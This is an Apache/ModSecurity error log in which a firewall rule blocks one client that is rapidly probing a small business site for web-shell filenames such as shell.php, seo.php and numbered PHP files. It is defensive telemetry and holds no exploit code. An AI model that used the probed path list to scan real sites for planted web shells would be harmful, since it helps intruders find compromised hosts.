[Fri Apr 24 02:16:30.076179 2026] [:error] [pid 42973:tid 43064] [client 74.234.74.247:6198] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/Requests/"] [unique_id "aeph_m6I0QqmmmLTHE2KlAAAAJU"]
[Fri Apr 24 02:16:30.579949 2026] [:error] [pid 42972:tid 43037] [client 74.234.74.247:2017] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/Requests/"] [unique_id "aeph_sOAb-3sOknsk4fMCwAAAFU"]
[Fri Apr 24 02:16:31.112890 2026] [:error] [pid 65000:tid 65042] [client 74.234.74.247:1998] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/Requests/"] [unique_id "aeph_76vRb9j6psK2ZaMBQAAAgk"]
[Fri Apr 24 02:16:31.654449 2026] [:error] [pid 65000:tid 65056] [client 74.234.74.247:1934] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bthil.php"] [unique_id "aeph_76vRb9j6psK2ZaMCQAAAhc"]
[Fri Apr 24 02:16:32.206162 2026] [:error] [pid 65000:tid 65051] [client 74.234.74.247:6144] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bthil.php"] [unique_id "aepiAL6vRb9j6psK2ZaMEQAAAhI"]
[Fri Apr 24 02:16:32.790454 2026] [:error] [pid 65000:tid 65053] [client 74.234.74.247:2003] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bthil.php"] [unique_id "aepiAL6vRb9j6psK2ZaMEwAAAhQ"]
[Fri Apr 24 02:16:34.368200 2026] [:error] [pid 42972:tid 43027] [client 74.234.74.247:1922] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bthil.php"] [unique_id "aepiAsOAb-3sOknsk4fMEQAAAEs"]
[Fri Apr 24 02:16:34.911627 2026] [:error] [pid 42972:tid 43038] [client 74.234.74.247:1963] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/shell.php"] [unique_id "aepiAsOAb-3sOknsk4fMFAAAAFY"]
[Fri Apr 24 02:16:35.435761 2026] [:error] [pid 64967:tid 64972] [client 74.234.74.247:2033] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/shell.php"] [unique_id "aepiA4AV4GfOOdX8QzqbzgAAAYM"]
[Fri Apr 24 02:16:35.947432 2026] [:error] [pid 64967:tid 64983] [client 74.234.74.247:6240] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/shell.php"] [unique_id "aepiA4AV4GfOOdX8Qzqb0AAAAY4"]
[Fri Apr 24 02:16:36.522943 2026] [:error] [pid 43083:tid 43087] [client 74.234.74.247:2035] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/shell.php"] [unique_id "aepiBDC5hrvNXosL83KxuAAAAMI"]
[Fri Apr 24 02:16:37.085417 2026] [:error] [pid 42973:tid 43043] [client 74.234.74.247:2001] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/max.php"] [unique_id "aepiBW6I0QqmmmLTHE2KlQAAAIA"]
[Fri Apr 24 02:16:37.617144 2026] [:error] [pid 65000:tid 65057] [client 74.234.74.247:6205] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/max.php"] [unique_id "aepiBb6vRb9j6psK2ZaMKQAAAhg"]
[Fri Apr 24 02:16:38.199357 2026] [:error] [pid 65000:tid 65046] [client 74.234.74.247:6270] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/max.php"] [unique_id "aepiBr6vRb9j6psK2ZaMLAAAAg0"]
[Fri Apr 24 02:16:38.747141 2026] [:error] [pid 65000:tid 65054] [client 74.234.74.247:6231] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/max.php"] [unique_id "aepiBr6vRb9j6psK2ZaMMAAAAhU"]
[Fri Apr 24 02:16:39.288515 2026] [:error] [pid 65000:tid 65038] [client 74.234.74.247:2046] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/seo.php"] [unique_id "aepiB76vRb9j6psK2ZaMNAAAAgU"]
[Fri Apr 24 02:16:39.814720 2026] [:error] [pid 65000:tid 65046] [client 74.234.74.247:6163] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/seo.php"] [unique_id "aepiB76vRb9j6psK2ZaMOgAAAg0"]
[Fri Apr 24 02:16:40.347354 2026] [:error] [pid 46953:tid 46962] [client 74.234.74.247:6195] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/seo.php"] [unique_id "aepiCEnlpdHh-P6wKbp-dgAAAkY"]
[Fri Apr 24 02:16:40.917209 2026] [:error] [pid 65000:tid 65051] [client 74.234.74.247:6167] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/seo.php"] [unique_id "aepiCL6vRb9j6psK2ZaMPgAAAhI"]
[Fri Apr 24 02:16:41.477774 2026] [:error] [pid 42971:tid 43002] [client 74.234.74.247:2047] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/7.php"] [unique_id "aepiCTEP2_5RswrH8bFUBQAAABA"]
[Fri Apr 24 02:16:42.025869 2026] [:error] [pid 46953:tid 46960] [client 74.234.74.247:2040] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/7.php"] [unique_id "aepiCknlpdHh-P6wKbp-dwAAAkQ"]
[Fri Apr 24 02:16:42.579250 2026] [:error] [pid 46953:tid 46974] [client 74.234.74.247:6176] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/7.php"] [unique_id "aepiCknlpdHh-P6wKbp-egAAAlI"]
[Fri Apr 24 02:16:43.096184 2026] [:error] [pid 65000:tid 65050] [client 74.234.74.247:2020] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/7.php"] [unique_id "aepiC76vRb9j6psK2ZaMRQAAAhE"]
[Fri Apr 24 02:16:43.615195 2026] [:error] [pid 65000:tid 65039] [client 74.234.74.247:1940] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/8.php"] [unique_id "aepiC76vRb9j6psK2ZaMSgAAAgY"]
[Fri Apr 24 02:16:44.182024 2026] [:error] [pid 42973:tid 43061] [client 74.234.74.247:2029] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/8.php"] [unique_id "aepiDG6I0QqmmmLTHE2KlgAAAJI"]
[Fri Apr 24 02:16:44.709517 2026] [:error] [pid 42971:tid 43010] [client 74.234.74.247:6204] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/8.php"] [unique_id "aepiDDEP2_5RswrH8bFUCQAAABg"]
[Fri Apr 24 02:16:45.271784 2026] [:error] [pid 65000:tid 65057] [client 74.234.74.247:1928] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/8.php"] [unique_id "aepiDb6vRb9j6psK2ZaMVQAAAhg"]
[Fri Apr 24 02:16:45.834130 2026] [:error] [pid 43083:tid 43085] [client 74.234.74.247:1995] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/1.php"] [unique_id "aepiDTC5hrvNXosL83KxwgAAAMA"]
[Fri Apr 24 02:16:46.390439 2026] [:error] [pid 42971:tid 42993] [client 74.234.74.247:6211] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/1.php"] [unique_id "aepiDjEP2_5RswrH8bFUCgAAAAc"]
[Fri Apr 24 02:16:46.893121 2026] [:error] [pid 43083:tid 43089] [client 74.234.74.247:2006] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/1.php"] [unique_id "aepiDjC5hrvNXosL83KxxwAAAMQ"]
[Fri Apr 24 02:16:48.134536 2026] [:error] [pid 65000:tid 65038] [client 74.234.74.247:2007] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/1.php"] [unique_id "aepiEL6vRb9j6psK2ZaMZQAAAgU"]
[Fri Apr 24 02:16:48.638172 2026] [:error] [pid 59700:tid 59721] [client 74.234.74.247:1938] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/2.php"] [unique_id "aepiEJXyGZJFeAIDWtl8WgAAAVM"]
[Fri Apr 24 02:16:49.174037 2026] [:error] [pid 42972:tid 43023] [client 74.234.74.247:6177] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/2.php"] [unique_id "aepiEcOAb-3sOknsk4fMFwAAAEc"]
[Fri Apr 24 02:16:49.699687 2026] [:error] [pid 65000:tid 65043] [client 74.234.74.247:1936] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/2.php"] [unique_id "aepiEb6vRb9j6psK2ZaMbQAAAgo"]
[Fri Apr 24 02:16:50.232399 2026] [:error] [pid 59700:tid 59720] [client 74.234.74.247:6166] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/2.php"] [unique_id "aepiEpXyGZJFeAIDWtl8WwAAAVI"]
[Fri Apr 24 02:16:51.767172 2026] [:error] [pid 65000:tid 65042] [client 74.234.74.247:1930] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/3.php"] [unique_id "aepiE76vRb9j6psK2ZaMcgAAAgk"]
[Fri Apr 24 02:16:52.316805 2026] [:error] [pid 65000:tid 65044] [client 74.234.74.247:1941] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/3.php"] [unique_id "aepiFL6vRb9j6psK2ZaMeQAAAgs"]
[Fri Apr 24 02:16:53.857486 2026] [:error] [pid 46953:tid 46971] [client 74.234.74.247:1865] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/3.php"] [unique_id "aepiFUnlpdHh-P6wKbp-gwAAAk8"]
[Fri Apr 24 02:16:54.428815 2026] [:error] [pid 42971:tid 43004] [client 74.234.74.247:1926] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/3.php"] [unique_id "aepiFjEP2_5RswrH8bFUEgAAABI"]
[Fri Apr 24 02:16:54.982879 2026] [:error] [pid 59700:tid 59706] [client 74.234.74.247:6229] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/4.php"] [unique_id "aepiFpXyGZJFeAIDWtl8YQAAAUQ"]
[Fri Apr 24 02:16:55.549817 2026] [:error] [pid 64998:tid 65003] [client 74.234.74.247:6199] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/4.php"] [unique_id "aepiF4V5EysYcTLjmwhADAAAAcE"]
[Fri Apr 24 02:16:56.099460 2026] [:error] [pid 42971:tid 43009] [client 74.234.74.247:2008] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/4.php"] [unique_id "aepiGDEP2_5RswrH8bFUFQAAABc"]
[Fri Apr 24 02:16:56.633516 2026] [:error] [pid 42972:tid 43024] [client 74.234.74.247:1952] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/4.php"] [unique_id "aepiGMOAb-3sOknsk4fMGgAAAEg"]
[Fri Apr 24 02:16:57.166482 2026] [:error] [pid 42972:tid 43028] [client 74.234.74.247:1877] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/5.php"] [unique_id "aepiGcOAb-3sOknsk4fMHQAAAEw"]
[Fri Apr 24 02:16:57.741664 2026] [:error] [pid 42972:tid 43038] [client 74.234.74.247:6242] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/5.php"] [unique_id "aepiGcOAb-3sOknsk4fMIAAAAFY"]
[Fri Apr 24 02:16:58.292188 2026] [:error] [pid 42973:tid 43062] [client 74.234.74.247:1859] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/5.php"] [unique_id "aepiGm6I0QqmmmLTHE2KmwAAAJM"]
[Fri Apr 24 02:16:58.835961 2026] [:error] [pid 42972:tid 43018] [client 74.234.74.247:1925] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/5.php"] [unique_id "aepiGsOAb-3sOknsk4fMJQAAAEI"]
[Fri Apr 24 02:16:59.400575 2026] [:error] [pid 65000:tid 65043] [client 74.234.74.247:1966] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/6.php"] [unique_id "aepiG76vRb9j6psK2ZaMiQAAAgo"]
[Fri Apr 24 02:16:59.952449 2026] [:error] [pid 65000:tid 65032] [client 74.234.74.247:1792] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/6.php"] [unique_id "aepiG76vRb9j6psK2ZaMiwAAAgM"]
[Fri Apr 24 02:17:00.482635 2026] [:error] [pid 64967:tid 64982] [client 74.234.74.247:1821] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/6.php"] [unique_id "aepiHIAV4GfOOdX8Qzqb4QAAAY0"]
[Fri Apr 24 02:17:01.007078 2026] [:error] [pid 42971:tid 42993] [client 74.234.74.247:2041] File does not exist: /usr/local/apache/htdocs/suspended-page/6.php
[Fri Apr 24 02:17:01.281021 2026] [:error] [pid 42971:tid 42988] [client 74.234.74.247:2041] File does not exist: /usr/local/apache/htdocs/suspended-page/9.php
[Fri Apr 24 02:17:01.549407 2026] [:error] [pid 42971:tid 42987] [client 74.234.74.247:2041] File does not exist: /usr/local/apache/htdocs/suspended-page/10.php
[Fri Apr 24 02:17:01.814005 2026] [:error] [pid 42971:tid 42986] [client 74.234.74.247:2041] File does not exist: /usr/local/apache/htdocs/suspended-page/100.php
[Fri Apr 24 02:17:02.372843 2026] [:error] [pid 42971:tid 42997] [client 74.234.74.247:2041] File does not exist: /usr/local/apache/htdocs/suspended-page/155.php
[Fri Apr 24 02:17:02.643858 2026] [:error] [pid 42971:tid 42996] [client 74.234.74.247:2041] File does not exist: /usr/local/apache/htdocs/suspended-page/2026w.php
[Fri Apr 24 02:17:02.913710 2026] [:error] [pid 42971:tid 42995] [client 74.234.74.247:2041] File does not exist: /usr/local/apache/htdocs/suspended-page/144.php
[Fri Apr 24 02:17:03.178295 2026] [:error] [pid 42971:tid 42994] [client 74.234.74.247:2041] File does not exist: /usr/local/apache/htdocs/suspended-page/xwpg.php
[Fri Apr 24 02:17:03.452760 2026] [:error] [pid 42971:tid 43001] [client 74.234.74.247:2041] File does not exist: /usr/local/apache/htdocs/suspended-page/ass.php
[Fri Apr 24 02:17:03.716984 2026] [:error] [pid 42971:tid 43004] [client 74.234.74.247:2041] File does not exist: /usr/local/apache/htdocs/suspended-page/about.php
[Fri Apr 24 02:17:04.346667 2026] [:error] [pid 42971:tid 42990] [client 74.234.74.247:2041] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/no18.php"] [unique_id "aepiIDEP2_5RswrH8bFUJAAAAAQ"]
[Fri Apr 24 02:17:04.873903 2026] [:error] [pid 64967:tid 64971] [client 74.234.74.247:6197] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/no18.php"] [unique_id "aepiIIAV4GfOOdX8Qzqb6AAAAYI"]
[Fri Apr 24 02:17:05.434063 2026] [:error] [pid 59700:tid 59726] [client 74.234.74.247:2000] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/no18.php"] [unique_id "aepiIZXyGZJFeAIDWtl8agAAAVg"]
